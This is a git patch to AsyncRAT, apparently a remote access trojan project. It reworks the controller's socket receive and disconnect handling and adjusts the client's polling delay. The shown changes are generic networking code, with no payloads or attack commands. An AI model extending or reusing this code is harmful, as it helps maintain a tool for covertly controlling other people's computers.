From 7dc1a4c8ff50cf31298966b7fc4dd94e3a7d0318 Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Thu, 24 Jan 2019 02:55:53 -0800 Subject: [PATCH] Update --- AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs | 2 +- AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs | 65 ++++++++++---------- AsyncRAT-C#/Client/Program.cs | 3 +- 3 files changed, 36 insertions(+), 34 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs index 72d998e..1f19941 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs @@ -49,4 +49,4 @@ namespace AsyncRAT_Sharp listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize); } } -} +} \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs index a703e6d..9e0d7d4 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs @@ -39,52 +39,55 @@ namespace AsyncRAT_Sharp.Sockets public async void ReadClientData(IAsyncResult ar) { - try { - int Recevied = client.EndReceive(ar); - - if (Recevied > 0) + if (!client.Connected) { - - if (BufferRecevied == false) + Disconnected(); + } + else + { + int Recevied = client.EndReceive(ar); + if (Recevied > 0) { - if (Buffer[0] == 0) + if (BufferRecevied == false) { - Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); - MS.Dispose(); - MS = new MemoryStream(); - if (Buffersize > 0) + if (Buffer[0] == 0) { - Buffer = new byte[Buffersize - 1]; - BufferRecevied = true; + Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray())); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize - 1]; + BufferRecevied = true; + } + } + else + { + await MS.WriteAsync(Buffer, 0, Buffer.Length); } } else { - await MS.WriteAsync(Buffer, 0, Buffer.Length); + await MS.WriteAsync(Buffer, 0, Recevied); + if (MS.Length == Buffersize) + { + Read?.BeginInvoke(this, MS.ToArray(), null, null); + Buffer = new byte[1]; + Buffersize = 0; + BufferRecevied = false; + MS.Dispose(); + MS = new MemoryStream(); + } } + client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } else { - await MS.WriteAsync(Buffer, 0, Recevied); - if (MS.Length == Buffersize) - { - - Read?.BeginInvoke(this, MS.ToArray(), null, null); - Buffer = new byte[1]; - Buffersize = 0; - BufferRecevied = false; - MS.Dispose(); - MS = new MemoryStream(); - } + Disconnected(); } } - else - { - Disconnected(); - } - client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null); } catch { @@ -96,7 +99,7 @@ namespace AsyncRAT_Sharp.Sockets public void Disconnected() { if (Program.form1.listView1.InvokeRequired) - Program.form1.listView1.Invoke(new _isDisconnected(Disconnected)); + Program.form1.listView1.BeginInvoke(new _isDisconnected(Disconnected)); else { LV.Remove(); diff --git a/AsyncRAT-C#/Client/Program.cs b/AsyncRAT-C#/Client/Program.cs index fe7f663..25cb433 100644 --- a/AsyncRAT-C#/Client/Program.cs +++ b/AsyncRAT-C#/Client/Program.cs @@ -23,7 +23,7 @@ namespace Client InitializeClient(); while (true) { - Thread.Sleep(1000); + Thread.Sleep(1500); } } @@ -143,7 +143,6 @@ namespace Client } break; } - } public static void BeginSend(byte[] Msgs)